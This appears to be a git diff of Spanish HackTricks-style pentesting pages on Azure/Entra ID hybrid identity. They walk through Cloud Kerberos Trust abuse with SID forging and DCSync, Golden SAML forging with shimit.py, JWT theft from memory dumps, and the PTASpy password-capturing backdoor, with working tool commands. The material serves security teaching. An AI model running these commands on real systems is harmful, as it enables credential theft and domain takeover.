acceso en texto claro en la memoria**. Así que simplemente **volcando** la **memoria** del proceso y **buscando tokens JWT** podrías obtener acceso a varios recursos de la víctima en la nube eludiendo MFA. +Como se explica en [**este video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), algunos software de Microsoft sincronizados con la nube (Excel, Teams...) pueden **almacenar tokens de acceso en texto claro en la memoria**. Así que simplemente **volcando** la **memoria** del proceso y **buscando tokens JWT** podrías obtener acceso a varios recursos de la víctima en la nube eludiendo MFA. Pasos: @@ -27,8 +27,7 @@ curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/site curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sites//drives/' | jq ## Finally, download a file from that drive: -┌──(magichk㉿black-pearl)-[~] -└─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' +curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` **Tenga en cuenta que este tipo de tokens de acceso también se pueden encontrar dentro de otros procesos.** diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 9b22ffaed..ee44cb348 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -4,46 +4,72 @@ **Esta publicación es un resumen de** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **que se puede consultar para obtener más información sobre el ataque. Esta técnica también se comenta en** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** -## Información Básica +## Visión General de la Relación de Confianza de Kerberos -### Confianza +**Cloud Kerberos Trust (Entra ID -> AD)** -- Esta función (parte de Windows Hello for Business) establece una confianza unidireccional donde el AD local **confía en Entra ID** para emitir tickets de Kerberos para AD. Habilitarlo crea un objeto de computadora **AzureADKerberos$** en AD (apareciendo como un Controlador de Dominio de Solo Lectura) y una cuenta vinculada **`krbtgt_AzureAD`** (un KRBTGT secundario). Entra ID posee las claves para estas cuentas y puede emitir TGTs de Kerberos "parciales" para usuarios de AD. Los controladores de dominio de AD honrarán estos tickets, pero con restricciones similares a RODC: por defecto, **los grupos de alto privilegio (Domain Admins, Enterprise Admins, etc.) están *denegados*** y se permiten usuarios ordinarios. Esto impide que Entra ID autentique a los administradores de dominio a través de la confianza en condiciones normales. Sin embargo, como veremos, un atacante con suficientes privilegios de Entra ID puede abusar de este diseño de confianza. -Cuando se establece una confianza con Azure AD, se crea un **Controlador de Dominio de Solo Lectura (RODC) en el AD.** La **cuenta de computadora RODC**, llamada **`AzureADKerberos$`**. Además, una cuenta secundaria `krbtgt` llamada **`krbtgt_AzureAD`**. Esta cuenta contiene las **claves de Kerberos** utilizadas para los tickets que crea Azure AD. +## Pivotando de Entra ID a AD Local -Por lo tanto, si esta cuenta se ve comprometida, podría ser posible suplantar a cualquier usuario... aunque esto no es cierto porque esta cuenta está impedida de crear tickets para cualquier grupo privilegiado común de AD como Administradores de Dominio, Administradores Empresariales, Administradores... +**Escenario:** La organización objetivo tiene **Cloud Kerberos Trust** habilitado para autenticación sin contraseña. Un atacante ha obtenido privilegios de **Global Administrator** en Entra ID (Azure AD) pero **no** controla aún el AD local. El atacante también tiene un punto de apoyo con acceso a la red a un Controlador de Dominio (a través de VPN o una VM de Azure en una red híbrida). Usando la confianza en la nube, el atacante puede aprovechar el control de Azure AD para obtener un punto de apoyo a nivel de **Domain Admin** en AD. -> [!CAUTION] -> Sin embargo, en un escenario real habrá usuarios privilegiados que no están en esos grupos. Así que la **nueva cuenta krbtgt, si se ve comprometida, podría usarse para suplantarlos.** +**Requisitos Previos:** -### Kerberos TGT +- **Cloud Kerberos Trust** está configurado en el entorno híbrido (indicador: existe una cuenta RODC `AzureADKerberos$` en AD). -Además, cuando un usuario se autentica en Windows utilizando una identidad híbrida, **Azure AD** emitirá un **ticket Kerberos parcial junto con el PRT.** El TGT es parcial porque **AzureAD tiene información limitada** del usuario en el AD local (como el identificador de seguridad (SID) y el nombre).\ -Windows puede entonces **intercambiar este TGT parcial por un TGT completo** solicitando un ticket de servicio para el servicio `krbtgt`. +- El atacante tiene derechos de **Global Admin (o Hybrid Identity Admin)** en el inquilino de Entra ID (estos roles pueden usar la **API de sincronización** de AD Connect para modificar usuarios de Azure AD). -### NTLM +- Al menos una **cuenta de usuario híbrida** (existe tanto en AD como en AAD) en la que el atacante pueda autenticarse. Esto podría obtenerse conociendo o restableciendo sus credenciales o asignando un método sin contraseña (por ejemplo, un Temporary Access Pass) para generar un Primary Refresh Token (PRT) para ella. -Como podría haber servicios que no admiten autenticación kerberos sino NTLM, es posible solicitar un **TGT parcial firmado utilizando una clave secundaria `krbtgt`** incluyendo el **campo `KERB-KEY-LIST-REQ`** en la parte **PADATA** de la solicitud y luego obtener un TGT completo firmado con la clave primaria `krbtgt` **incluyendo el hash NT en la respuesta**. +- Una **cuenta objetivo de AD local** con altos privilegios que *no* esté en la política de "denegación" predeterminada de RODC. En la práctica, un gran objetivo es la **cuenta de sincronización de AD Connect** (a menudo llamada **MSOL_***), que tiene derechos de DCSync (replicación) en AD pero generalmente no es miembro de grupos de administración integrados. Esta cuenta típicamente no se sincroniza con Entra ID, lo que hace que su SID esté disponible para suplantar sin conflicto. -## Abusando de la Confianza de Kerberos en la Nube para obtener Administrador de Dominio +**Pasos del Ataque:** -Cuando AzureAD genera un **TGT parcial**, utilizará los detalles que tiene sobre el usuario. Por lo tanto, si un Administrador Global pudiera modificar datos como el **identificador de seguridad y el nombre del usuario en AzureAD**, al solicitar un TGT para ese usuario, el **identificador de seguridad sería uno diferente**. +1. **Obtener acceso a la API de sincronización de Azure AD:** Usando la cuenta de Global Admin, adquirir un token de acceso para la **API de Provisioning (sincronización)** de Azure AD. Esto se puede hacer con herramientas como **ROADtools** o **AADInternals**. Por ejemplo, con ROADtools (roadtx): +```bash +# Using roadtx to get an Azure AD Graph token (no MFA) +roadtx gettokens -u -p --resource aadgraph +``` +*(Alternativamente, se puede usar `Connect-AADInt` de AADInternals para autenticar como Administrador Global.)* -No es posible hacer eso a través de Microsoft Graph o Azure AD Graph, pero es posible utilizar la **API que utiliza Active Directory Connect** para crear y actualizar usuarios sincronizados, que pueden ser utilizados por los Administradores Globales para **modificar el nombre SAM y el SID de cualquier usuario híbrido**, y luego, si nos autenticamos, obtenemos un TGT parcial que contiene el SID modificado. +2. **Modificar los atributos On-Prem de un usuario híbrido:** Aprovechar la **API de sincronización** de Azure AD para establecer el **Identificador de Seguridad (SID)** y el **SAMAccountName** de un usuario híbrido elegido para que coincidan con la cuenta AD de destino. Esto le indica efectivamente a Azure AD que el usuario en la nube corresponde a la cuenta on-prem que queremos suplantar. Usando el kit de herramientas de código abierto **ROADtools Hybrid**: +```bash +# Example: modify a hybrid user to impersonate the MSOL account +python3 modifyuser.py -u -p \ +--sourceanchor \ +--sid --sam +``` +> El `sourceAnchor` (ID inmutable) del usuario es necesario para identificar el objeto de Azure AD que se va a modificar. La herramienta establece el SID local del usuario híbrido y el nombre de cuenta SAM a los valores del objetivo (por ejemplo, el SID y SAM de la cuenta MSOL_xxxx). Azure AD normalmente no permite alterar estos atributos a través de Graph (son de solo lectura), pero la API del servicio de sincronización lo permite y los administradores globales pueden invocar esta funcionalidad de sincronización. -Tenga en cuenta que podemos hacer esto con AADInternals y actualizar a usuarios sincronizados a través del cmdlet [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a). +3. **Obtener un TGT parcial de Azure AD:** Después de la modificación, autentíquese como el usuario híbrido en Azure AD (por ejemplo, obteniendo un PRT en un dispositivo o usando sus credenciales). Cuando el usuario inicia sesión (especialmente en un dispositivo con dominio unido o unido a Entra), Azure AD emitirá un **TGT Kerberos parcial (TGT****AD**) para esa cuenta porque Cloud Kerberos Trust está habilitado. Este TGT parcial está cifrado con la clave RODC de AzureADKerberos$ e incluye el **SID objetivo** que configuramos. Podemos simular esto solicitando un PRT para el usuario a través de ROADtools: +```bash +roadtx getprt -u -p -d +``` +Esto genera un archivo `.prt` que contiene el TGT parcial y la clave de sesión. Si la cuenta era solo de contraseña en la nube, Azure AD aún incluye un TGT_AD en la respuesta PRT. -### Prerrequisitos del ataque +4. **Intercambiar TGT Parcial por TGT Completo (en AD):** El TGT parcial ahora se puede presentar al Controlador de Dominio local para obtener un **TGT completo** para la cuenta objetivo. Hacemos esto realizando una solicitud TGS para el servicio `krbtgt` (el servicio TGT principal del dominio) -- esencialmente actualizando el ticket a un TGT normal con un PAC completo. Hay herramientas disponibles para automatizar este intercambio. Por ejemplo, utilizando el script de ROADtools Hybrid: +```bash +# Use the partial TGT from the PRT file to get a full TGT and NTLM hash +python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash +``` +Este script (o equivalentes de Impacket) contactará al Controlador de Dominio y recuperará un TGT válido para la cuenta AD objetivo, incluyendo el hash NTLM de la cuenta si se utiliza la extensión Kerberos especial. La extensión **`KERB-KEY-LIST-REQ`** se incluye automáticamente para pedir al DC que devuelva el hash NTLM de la cuenta objetivo en la respuesta encriptada. El resultado es un caché de credenciales (`full_tgt.ccache`) para la cuenta objetivo *o* el hash de contraseña NTLM recuperado. -El éxito del ataque y la obtención de privilegios de Administrador de Dominio dependen de cumplir ciertos prerrequisitos: +5. **Impersonar al objetivo y elevar a administrador de dominio:** Ahora el atacante efectivamente **controla la cuenta AD objetivo**. Por ejemplo, si el objetivo era la cuenta **MSOL** de AD Connect, tiene derechos de replicación en el directorio. El atacante puede realizar un ataque **DCSync** utilizando las credenciales de esa cuenta o el TGT de Kerberos para volcar los hashes de contraseñas de AD (incluyendo la cuenta KRBTGT del dominio). Por ejemplo: +```bash +# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash) +secretsdump.py 'AD_DOMAIN/$@' -hashes : LOCAL +``` +Esto volcará todos los hashes de contraseñas de usuarios de AD, dando al atacante el hash de KRBTGT (permitiéndoles falsificar tickets de Kerberos de dominio a voluntad) y efectivamente privilegios de **Domain Admin** sobre AD. Si la cuenta objetivo fuera otro usuario privilegiado, el atacante podría usar el TGT completo para acceder a cualquier recurso de dominio como ese usuario. -- La capacidad de alterar cuentas a través de la API de Sincronización es crucial. Esto se puede lograr teniendo el rol de Administrador Global o poseyendo una cuenta de sincronización de AD Connect. Alternativamente, el rol de Administrador de Identidad Híbrida sería suficiente, ya que otorga la capacidad de gestionar AD Connect y establecer nuevas cuentas de sincronización. -- La presencia de una **cuenta híbrida** es esencial. Esta cuenta debe ser susceptible de modificación con los detalles de la cuenta de la víctima y también debe ser accesible para la autenticación. -- La identificación de una **cuenta de víctima objetivo** dentro de Active Directory es una necesidad. Aunque el ataque se puede ejecutar en cualquier cuenta ya sincronizada, el inquilino de Azure AD no debe haber replicado identificadores de seguridad locales, lo que requiere la modificación de una cuenta no sincronizada para obtener el ticket. -- Además, esta cuenta debe poseer privilegios equivalentes a los de administrador de dominio, pero no debe ser miembro de grupos típicos de administradores de AD para evitar la generación de TGT inválidos por el RODC de AzureAD. -- El objetivo más adecuado es la **cuenta de Active Directory utilizada por el servicio de sincronización de AD Connect**. Esta cuenta no está sincronizada con Azure AD, dejando su SID como un objetivo viable, y tiene inherentemente privilegios equivalentes a los de Administrador de Dominio debido a su papel en la sincronización de hashes de contraseñas (suponiendo que la Sincronización de Hash de Contraseña esté activa). Para dominios con instalación expresa, esta cuenta se prefija con **MSOL\_**. Para otros casos, la cuenta se puede identificar enumerando todas las cuentas dotadas de privilegios de Replicación de Directorio en el objeto de dominio. +6. **Limpieza:** Opcionalmente, el atacante puede restaurar el `onPremisesSAMAccountName` y SID originales del usuario de Azure AD modificado a través de la misma API o simplemente eliminar cualquier usuario temporal creado. En muchos casos, el próximo ciclo de sincronización de Azure AD Connect revertirá automáticamente los cambios no autorizados en los atributos sincronizados. (Sin embargo, para este punto, el daño ya está hecho: el atacante tiene privilegios de DA.) + +> [!WARNING] +> Al abusar del mecanismo de confianza y sincronización en la nube, un Global Admin de Azure AD puede suplantar casi *cualquier* cuenta de AD que no esté explícitamente protegida por la política de RODC, incluso si esa cuenta nunca fue sincronizada en la nube. En una configuración predeterminada, esto **establece una confianza completa desde la compromisión de Azure AD hasta la compromisión de AD local**. + + +## Referencias + +- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) -### El ataque completo -Consúltalo en la publicación original: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md deleted file mode 100644 index d59b690bc..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ /dev/null @@ -1,9 +0,0 @@ -# Az - Aplicaciones Predeterminadas - -{{#include ../../../../banners/hacktricks-training.md}} - -**Ver la técnica en:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) y [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) - -La publicación del blog discute una vulnerabilidad de escalada de privilegios en Azure AD, que permite a los administradores de aplicaciones o cuentas de sincronización en las instalaciones comprometidas escalar privilegios al asignar credenciales a aplicaciones. La vulnerabilidad, que proviene del comportamiento "por diseño" del manejo de aplicaciones y principales de servicio de Azure AD, afecta notablemente a las aplicaciones predeterminadas de Office 365. Aunque se ha informado, Microsoft no considera el problema como una vulnerabilidad debido a la documentación del comportamiento de asignación de derechos de administrador. La publicación proporciona información técnica detallada y aconseja revisiones regulares de las credenciales de los principales de servicio en entornos de Azure AD. Para más información detallada, puedes visitar la publicación original del blog. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md similarity index 71% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md index e7132bce0..4a5d8bb91 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md @@ -1,12 +1,13 @@ -# Az - Federación +# Az - Federation {{#include ../../../../banners/hacktricks-training.md}} ## Información Básica -[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**La Federación** es un conjunto de **dominios** que han establecido **confianza**. El nivel de confianza puede variar, pero típicamente incluye **autenticación** y casi siempre incluye **autorización**. Una federación típica podría incluir un **número de organizaciones** que han establecido **confianza** para el **acceso compartido** a un conjunto de recursos. +[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed) -Puedes **federar tu entorno local** **con Azure AD** y usar esta federación para autenticación y autorización. Este método de inicio de sesión asegura que toda la **autenticación de usuarios ocurra en el entorno local**. Este método permite a los administradores implementar niveles de control de acceso más rigurosos. La federación con **AD FS** y PingFederate está disponible. +>**Federación** es un conjunto de **dominios** que han establecido **confianza**. El nivel de confianza puede variar, pero típicamente incluye **autenticación** y casi siempre incluye **autorización**. Una federación típica podría incluir un **número de organizaciones** que han establecido **confianza** para el **acceso compartido** a un conjunto de recursos. +>Puede **federar su entorno local** **con Azure AD** y usar esta federación para autenticación y autorización. Este método de inicio de sesión asegura que toda la **autenticación de usuarios ocurra en el local**. Este método permite a los administradores implementar niveles de control de acceso más rigurosos. La federación con **AD FS** y PingFederate está disponible.
@@ -20,16 +21,14 @@ En cualquier configuración de federación hay tres partes: - Proveedor de Identidad (IdP) - Proveedor de Servicios (SP) -(Imágenes de https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) +
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
-
- -1. Inicialmente, una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere) es accedida por un usuario. Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica. +1. Inicialmente, un usuario accede a una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere). Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica. 2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego, elabora una AuthnRequest SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido. -3. El IdP toma el control, autenticando al usuario. Después de la autenticación, se formula un SAMLResponse por el IdP y se reenvía al SP a través del usuario. +3. El IdP toma el control, autenticando al usuario. Después de la autenticación, el IdP formula un SAMLResponse y lo envía al SP a través del usuario. 4. Finalmente, el SP evalúa el SAMLResponse. Si se valida con éxito, lo que implica una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio. -**Si deseas aprender más sobre la autenticación SAML y ataques comunes, ve a:** +**Si desea aprender más sobre la autenticación SAML y ataques comunes, vaya a:** {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html @@ -40,21 +39,21 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html - AD FS es un modelo de identidad basado en claims. - "..las claims son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en claims ubicadas en cualquier parte de Internet." - Las claims para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP. -- Un usuario es identificado por ImmutableID. Es globalmente único y se almacena en Azure AD. -- El ImmutableID se almacena en local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario. +- Un usuario se identifica por ImmutableID. Es globalmente único y se almacena en Azure AD. +- El ImmutableID se almacena en el local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario. - Más información en [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) **Ataque Golden SAML:** - En ADFS, el SAML Response es firmado por un certificado de firma de token. -- Si el certificado es comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD! +- Si el certificado se ve comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD! - Al igual que nuestro abuso de PTA, el cambio de contraseña para un usuario o MFA no tendrá ningún efecto porque estamos forjando la respuesta de autenticación. - El certificado puede ser extraído del servidor AD FS con privilegios de DA y luego puede ser utilizado desde cualquier máquina conectada a Internet. - Más información en [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) ### Golden SAML -El proceso donde un **Proveedor de Identidad (IdP)** produce un **SAMLResponse** para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la **respuesta** podría estar **firmada** o **encriptada** utilizando la **clave privada del IdP**. Este procedimiento permite al **Proveedor de Servicios (SP)** confirmar la autenticidad del SAMLResponse, asegurando que fue emitido por un IdP de confianza. +El proceso donde un **Proveedor de Identidad (IdP)** produce un **SAMLResponse** para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la **respuesta** puede estar **firmada** o **encriptada** utilizando la **clave privada del IdP**. Este procedimiento permite al **Proveedor de Servicios (SP)** confirmar la autenticidad del SAMLResponse, asegurando que fue emitido por un IdP de confianza. Se puede trazar un paralelo con el [ataque de golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para golden SAML) puede ser manipulada para **forjar un objeto de autenticación** (TGT o SAMLResponse). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP. @@ -69,7 +68,7 @@ Los Golden SAML ofrecen ciertas ventajas: [Active Directory Federation Services (AD FS)]() es un servicio de Microsoft que facilita el **intercambio seguro de información de identidad** entre socios comerciales de confianza (federación). Esencialmente, permite a un servicio de dominio compartir identidades de usuario con otros proveedores de servicios dentro de una federación. -Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para potencialmente **adquirir cualquier permiso en el entorno de AWS**. El ataque requiere la **clave privada utilizada para firmar los objetos SAML**, similar a necesitar el KRBTGT en un ataque de golden ticket. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada. +Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para **adquirir cualquier permiso en el entorno de AWS**. El ataque requiere la **clave privada utilizada para firmar los objetos SAML**, similar a necesitar el KRBTGT en un ataque de golden ticket. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada. Los requisitos para ejecutar un ataque golden SAML incluyen: @@ -81,9 +80,9 @@ Los requisitos para ejecutar un ataque golden SAML incluyen: - Nombre de sesión de rol en AWS - ID de cuenta de Amazon -_Solo los elementos en negrita son obligatorios. Los demás pueden ser completados según se desee._ +_Solo los elementos en negrita son obligatorios. Los demás pueden completarse según se desee._ -Para adquirir la **clave privada**, es necesario tener acceso a la **cuenta de usuario de AD FS**. Desde allí, la clave privada puede ser **exportada del almacén personal** utilizando herramientas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para recopilar la otra información requerida, puedes utilizar el complemento de Microsoft.Adfs.Powershell de la siguiente manera, asegurándote de haber iniciado sesión como el usuario de ADFS: +Para adquirir la **clave privada**, es necesario acceder a la **cuenta de usuario de AD FS**. Desde allí, la clave privada puede ser **exportada del almacén personal** utilizando herramientas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para recopilar la otra información requerida, puede utilizar el complemento de Microsoft.Adfs.Powershell de la siguiente manera, asegurándose de haber iniciado sesión como el usuario de ADFS: ```bash # From an "AD FS" session # After having exported the key with mimikatz @@ -112,7 +111,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file - # Save SAMLResponse to file python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml ``` -
+
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
### On-prem -> nube ```bash diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md new file mode 100644 index 000000000..ab6d06f7c --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md @@ -0,0 +1,29 @@ +# Ataques Misceláneos de Identidad Híbrida + +{{#include ../../../../banners/hacktricks-training.md}} + + +## Forzar la Sincronización de usuarios de Entra ID a on-prem + +Como se mencionó en [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), era posible cambiar el valor de **`ProxyAddress`** dentro de un usuario de AD en el AD on-prem añadiendo el correo electrónico de un usuario administrador de Entra ID y también asegurándose de que el UPN del usuario en AD y en Entra ID coincidieran (este es el Entra ID nuevamente), como **`SMTP:admin@domain.onmicrosoft.com`**. Y esto **forzaría la sincronización de este usuario** desde Entra ID al AD on-prem, por lo que si se conocía la contraseña del usuario, podría usarse para **acceder al administrador utilizado en Entra ID.** + +Para sincronizar un nuevo usuario desde Entra ID al AD on-prem, estos son los requisitos, los únicos requisitos son: + +- Controlar los atributos de un usuario en el AD on-prem (o tener permisos para crear nuevos usuarios) +- Conocer el usuario solo en la nube para sincronizar desde Entra ID al AD on-prem +- También puede que necesite poder cambiar el atributo immutableID del usuario de Entra ID al usuario de AD on-prem para hacer un **coincidencia estricta**. + + +> [!CAUTION] +> Entra ID ya no permite sincronizar administradores desde Entra ID al AD on-prem. +> Además, esto **no eludirá MFA**. + + + +## Referencias + +- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/) +- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md similarity index 82% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md index 434fc9432..7d8befa69 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md @@ -6,17 +6,17 @@ [Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) La autenticación passthrough de Microsoft Entra permite a sus usuarios **iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas**. Esta función proporciona a sus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del servicio de asistencia de TI porque es menos probable que sus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Microsoft Entra ID, esta función valida las contraseñas de los usuarios directamente contra su Active Directory local. -En PTA **las identidades** están **sincronizadas** pero **las contraseñas no** como en PHS. +En PTA, las **identidades** están **sincronizadas** pero las **contraseñas no** como en PHS. -La autenticación se valida en el AD local y la comunicación con la nube se realiza mediante un **agente de autenticación** que se ejecuta en un **servidor local** (no necesita estar en el DC local). +La autenticación se valida en el AD local y la comunicación con la nube se realiza a través de un **agente de autenticación** que se ejecuta en un **servidor local** (no necesita estar en el DC local). ### Flujo de Autenticación
1. Para **iniciar sesión**, el usuario es redirigido a **Azure AD**, donde envía el **nombre de usuario** y la **contraseña**. -2. Las **credenciales** son **encriptadas** y colocadas en una **cola** en Azure AD. -3. El **agente de autenticación local** recoge las **credenciales** de la cola y las **desencripta**. Este agente se llama **"agente de autenticación passthrough"** o **agente PTA.** +2. Las **credenciales** se **cifran** y se colocan en una **cola** en Azure AD. +3. El **agente de autenticación local** recoge las **credenciales** de la cola y las **descifra**. Este agente se llama **"agente de autenticación passthrough"** o **agente PTA**. 4. El **agente** **valida** las credenciales contra el **AD local** y envía la **respuesta** **de vuelta** a Azure AD que, si la respuesta es positiva, **completa el inicio de sesión** del usuario. > [!WARNING] @@ -68,13 +68,13 @@ Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the pas Remove-AADIntPTASpy # Remove the backdoor ``` > [!NOTE] -> Si la **instalación falla**, esto se debe probablemente a la falta de [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). +> Si la **instalación falla**, esto se debe probablemente a que faltan los [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). Este backdoor hará: - Crear una carpeta oculta `C:\PTASpy` - Copiar un `PTASpy.dll` a `C:\PTASpy` -- Inyectar `PTASpy.dll` al proceso `AzureADConnectAuthenticationAgentService` +- Inyectar 